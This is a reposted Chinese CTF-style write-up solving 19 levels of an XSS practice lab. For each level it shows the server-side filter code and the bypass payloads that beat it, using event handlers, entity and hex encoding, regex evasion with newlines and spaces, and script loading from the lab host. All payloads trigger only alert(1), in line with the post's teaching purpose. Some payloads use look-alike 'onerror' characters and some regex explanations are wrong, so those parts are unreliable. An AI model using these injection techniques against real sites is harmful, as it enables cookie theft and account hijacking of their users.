【转载】XSS靶机专项练习(总结)

测试网址:alert(1)

有道云笔记: 有道云笔记

XSS有关了解:

什么是 XSS 攻击

XSS 攻击,即跨站脚本攻击,它是 web 程序中常见的漏洞。

原理

攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。 

种类

  1. input 标签 value 属性赋值
  2. 利用 a 标签的 href 属性的赋值
  3. image 标签 src 属性,onload、onerror、onclick 事件中注入恶意代码

XSS专项练习

交互界面:

未测试/测试失败

测试成功:

后续测试成功页面省略,只讲解代码部分

代码部分:

代码区域:

测试分析部分(服务器对输入值的处理):

代码输入和最终前端代码展示部分:

第一题:0x00div标签,常规插入

分析:

function render (input) {

  return '<div>' + input + '</div>'

}

返回的只是套了一层 ‘div’标签,所以

我们可以直接正常写前端代码

输入代码:

第一种:使用img标签,我们没用src,所以使用的是onerror函数

<img src="" οnerrοr=alert(1)>

第二种:直接插入script代码块

<script>alert(1)</script>

第二题:0x01textarea标签 闭合该后插入

分析:

function render (input) {

  return '<textarea>' + input + '</textarea>'

}

这个标签内都是文本内容,那么我们必须要闭合掉这个标签才能进一步插入,后半部分是否闭合对本测试无影响,根据习惯即可

输入代码:

第一种:使用script代码块完成

</textarea><script>alert(1)</script>

第二种:使用img标签

</textarea><img src=0 οnerrοr=alert(1)>

第三题:0x02内容放在标签内,">合标签

分析:

function render (input) {

  return '<input type="name" value="' + input + '">'

}

我们看到input的内容被放在了<input>标签内并作为返回值返回,我们需要闭合掉这个<input>标签。后半部分可以不用理会。

输入代码:

第一种:使用script代码块完成

"><script>alert(1)</script>

第二种:使用img标签

"><img src="" οnerrοr=alert(1)>

第四题:0x03过滤(),使用反单引号`

分析:

function render (input) {

  const stripBracketsRe = /[()]/g

  input = input.replace(stripBracketsRe, '')

  return input

}

可以看到服务器端是把//g中间的内容即[()]替换为空,过滤掉了(),我们使用反单引号(键盘左上角)

输入代码:

第一种:使用script代码块完成

<script>alert`1`</script>

第二种:使用img标签

<img src="" οnerrοr=alert`1`>

第五题:0x04过滤括号()和反单引号` 使用html实体编码来绕过

分析:

function render (input) {

  const stripBracketsRe = /[()`]/g

  input = input.replace(stripBracketsRe, '')

  return input

}

可以看到服务器端是把//g中间的内容过滤了,即过滤括号()和反单引号` ,我们使用html实体编码来绕过,把我们徐晓写入的代码转换一下

在线转换网站:HTML字符实体转换

如图:10或16都可以

输入代码:

由于这种写法并不常见,不是所有的浏览器都支持它,所以我只能用 img标签 实现,可以自行思考如何使用script去实现

第一种:使用script代码块完成 

第二种:使用img标签

<img src="" οnerrοr=alert&#40;&#49;&#41;>

第六题:0x05闭合注释符

分析:

function render (input) {

  input = input.replace(/-->/g, '😂')

  return '<!-- ' + input + ' -->'

}

可以看到服务器端是把  //g  中间的内容即  -->  替换为笑脸,我们要把注释闭合才能正常执行代码

输入代码:

第一种:使用script代码块完成 

--!><script>alert(1)</script>

第二种:使用img标签

--!><img src="" οnerrοr=alert(1)>

第七题:0x06正则过滤auto/on开头及=尾和> 换行绕过匹配

分析:

function render (input) {

  input = input.replace(/auto|on.*=|>/ig, '_')

  return `<input value=1 ${input} type="text">`

}

这里用到了正则表达式过滤方法,匹配了: auto 、以on开头且以=结尾的字符串和>,所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合

但是它并没有匹配换行符, 可以通过换行来绕过匹配

注意onerror后面实际有一个回车换行符

输入代码:

由于正则匹配过于繁琐,所以采用 标签方式解决

将 onerror 和   =alert(1) 之间通过换行符隔开避开正则匹配

type="image" src="" onerror

=alert(1)

第八题:0x07正则匹配,空格绕过解析

分析:

function render (input) {

  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')

  return `<article>${input}</article>`

}

分析此正则表达式:

const stripTagsRe = /</?[^>]+>/gi

这里分为三部分来分析: /</?[^>]+>/gi

1)</?

\转义符与/结合, 从而转义了/, 进而含义是匹配: </

再加上? (匹配前面的子表达式一次或多次), 所以是匹配: <或者 </

2)[^>]+

首先要明白, 中括号的用法: [abc] => 匹配abc中的任意一个;

然后^符号的两种用法:

1.限定开头: 比如, /^A/会匹配"An e"中的A,但是不会匹配"ab A"中的A

2.取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。

 最后是+的含义:匹配前面的子表达式一次或多次。

 所以,总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次

3)>

 单纯匹配>。

总的表达式就是,匹配: </ 任意字符 >, 而且 /i 过滤了大小写

html的单标签也可以解析,后面+空格

输入代码:

注意:代码结尾有一个或多个 空格直接回车也可以,否则无法正确验证

<img src="" οnerrοr=alert(1)

这个标签实际上是不完整的,因为它缺少了右尖括号 ">"

但是,如果在标签结尾加上空格,这个正则表达式就只会匹配到  img 标签本身,而不会匹配到其中的 JavaScript 代码

第九题:0x08换行或空格绕过正则匹配

分析:

function render (src) {

  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')

  return `

    <style>

      ${src}

    </style>

  `

}

可以加一个空格

</style >,造成正则逃逸

输入代码:

第一种:使用空格

</style ><script>alert(1)</script>

第二种:使用换行

</style

>

<script>alert(1)</script>

第十题:0x09声明,RegExp.test()正则白名单

分析:

function render (input) {

  let domainRe = /^https?:\/\/www\.segmentfault\.com/

  if (domainRe.test(input)) {

    return `<script src="${input}"></script>`

  }

  return 'Invalid URL'

}

let domainRe = /^https?:\/\/www\.segmentfault\.com/

定义了正则匹配规则

test()方法执行一个检索,用来查看正则表达式与指定的字符串是否匹配。

返回true 或 false。

正则表达式白名单式地匹配了固定网址,并闭合前面的标签 

输入代码:

仔细看return 部分,我们的输入在src里面,所以,我们需要在输入的代码里封闭相应的标签,最后,把剩下的部分也封闭

https://www.segmentfault.com/"></script><img src="" οnerrοr=alert(1)<"

第十一题:0x0A升级版0x09过滤后再白名单

分析:

function render (input) {

  function escapeHtml(s) {

    return s.replace(/&/g, '&amp;')

            .replace(/'/g, '&#39;')

            .replace(/"/g, '&quot;')

            .replace(/</g, '&lt;')

            .replace(/>/g, '&gt;')

            .replace(/\//g, '&#x2f')

  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/

  if (domainRe.test(input)) {

    return `<script src="${escapeHtml(input)}"></script>`

  }

  return 'Invalid URL'

}

可以看出,过滤掉了

&,`,",<,>,\,之后再正则白名单匹配。

通过html转义, 把能注入的关键字都过滤了。可以直接引用指定网站下的目录文件来达到xss注入的目的,

比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可

输入代码:

找到JS文件直接引入即可

https://www.segmentfault.com.haozi.me/j.js

第十二题:0x0Bhtml字符大写,js进行hex编码绕过

分析:

function render (input) {

  input = input.toUpperCase()

  return `<h1>${input}</h1>`

}

可以看出服务器端,将所有字母转换为大写。

HTML中对大小写不敏感JS中对大小写敏感

这样可以对js代码进行 hex编码处理, 而html部分不变

编码结果类型是html entities。

比如:

a->&#x61

l->&#x6c

输入代码:

第一种:alert转成字符编码

<img src="" οnerrοr=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

第二种:域名对大小写也不敏感 , 所以可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:

<script src=https://www.segmentfault.com.haozi.me/j.js>

</script>

第十三题:0x0C依照上题或者是双写绕过

分析:

function render (input) {

  input = input.replace(/script/ig, '')

  input = input.toUpperCase()

  return '<h1>' + input + '</h1>'

}

该题将/script/替换为空之后,再转为大写。可以按照上题的解法

可以采用双写绕过并调用haozi.me的j.js代码

输入代码:

第一种:alert转成字符编码

<img src="" οnerrοr=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

第二种:域名对大小写也不敏感 , 所以可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:

<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>

第十四题:0x0D回车绕过,js注释符-->

分析:

function render (input) {

  input = input.replace(/[</"']/g, '')

  return `

    <script>

          // alert('${input}')

    </script>

  `

}

该题把斜杠, 单、双引号都过滤了;

回车可以破坏注释结构,js的注释符

-->可以注释掉后面的内容。

输入代码:

注意我们的输入代码在 alert(’ 这里‘)  ,所以我们通过换行屏蔽原来的alert,用 --> 注释后面的内容

alert(1);

-->

第十五题:0x0E找到一个大写是s的拉丁字符,编码绕过大写

分析:

function render (input) {

  input = input.replace(/<([a-zA-Z])/g, '<_$1')

  input = input.toUpperCase()

  return '<h1>' + input + '</h1>'

}

该题目会把标签内的内容替换,字母都变大写,前面添加一个_。

输入代码:

这几乎过滤了所有标签, 包括

<script>

逆向思维, 找到一个字符的大写是s的: ſ (古英文, 拉丁文):

<ſcript src="" οnerrοr=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)></script>

第十六题:0x0F注释符绕过

分析:

function render (input) {

  function escapeHtml(s) {

    return s.replace(/&/g, '&amp;')

            .replace(/'/g, '&#39;')

            .replace(/"/g, '&quot;')

            .replace(/</g, '&lt;')

            .replace(/>/g, '&gt;')

            .replace(/\//g, '&#x2f;')

  }

  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`

}

该题目对字符进行了html实体编码处理。但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。

输入代码:

第一种: 注入使其闭合, 在注释掉后面的内容即可:

');alert(1); //

第二种:或者闭合后面的,而不是用//注释掉后面的。

');alert(1);('

第十七题:0x10提供任意值

分析:

function render (input) {

  return `

<script>

  window.data = ${input}

</script>

  `

}

没有过滤, 随意给window.date一个值,比如空值  '', 再注入:

输入代码:

'';alert(1);

第十八题:0x11注释符绕过

分析:

// from alf.nu

function render (s) {

  function escapeJs (s) {

    return String(s)

            .replace(/\\/g, '\\\\')

            .replace(/'/g, '\\\'')

            .replace(/"/g, '\\"')

            .replace(/`/g, '\\`')

            .replace(/</g, '\\74')

            .replace(/>/g, '\\76')

            .replace(/\//g, '\\/')

            .replace(/\n/g, '\\n')

            .replace(/\r/g, '\\r')

            .replace(/\t/g, '\\t')

            .replace(/\f/g, '\\f')

            .replace(/\v/g, '\\v')

            // .replace(/\b/g, '\\b')

            .replace(/\0/g, '\\0')

  }

  s = escapeJs(s)

  return `

<script>

  var url = 'javascript:console.log("${s}")'

  var a = document.createElement('a')

  a.href = url

  document.body.appendChild(a)

  a.click()

</script>

`

}

看到有一些字符被转义了, 包括换行符

\n等也被转义了

虽然被转义成了

\/\/, 但转义之后还是

//, 在js中还是注释符 (勿与正则弄混)

输入代码:

第一种:

");alert(1);//

第二种:

"); alert("1

第十九题:0x12转义符绕过

分析:

// from alf.nu

function escape (s) {

  s = s.replace(/"/g, '\\"')

  return '<script>console.log("' + s + '");</script>'

}

输入代码:

第一种:该题将双引号替换。无法闭合。

但是, 它并没有将转义符转义, 那么我们可以使用转义符转义,这样双引号就不会被替换:

\");alert(1);//

第二种: 通过闭合前面的script标签, 内嵌一个script标签即可:

</script> <script>alert(1)</script><script>

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值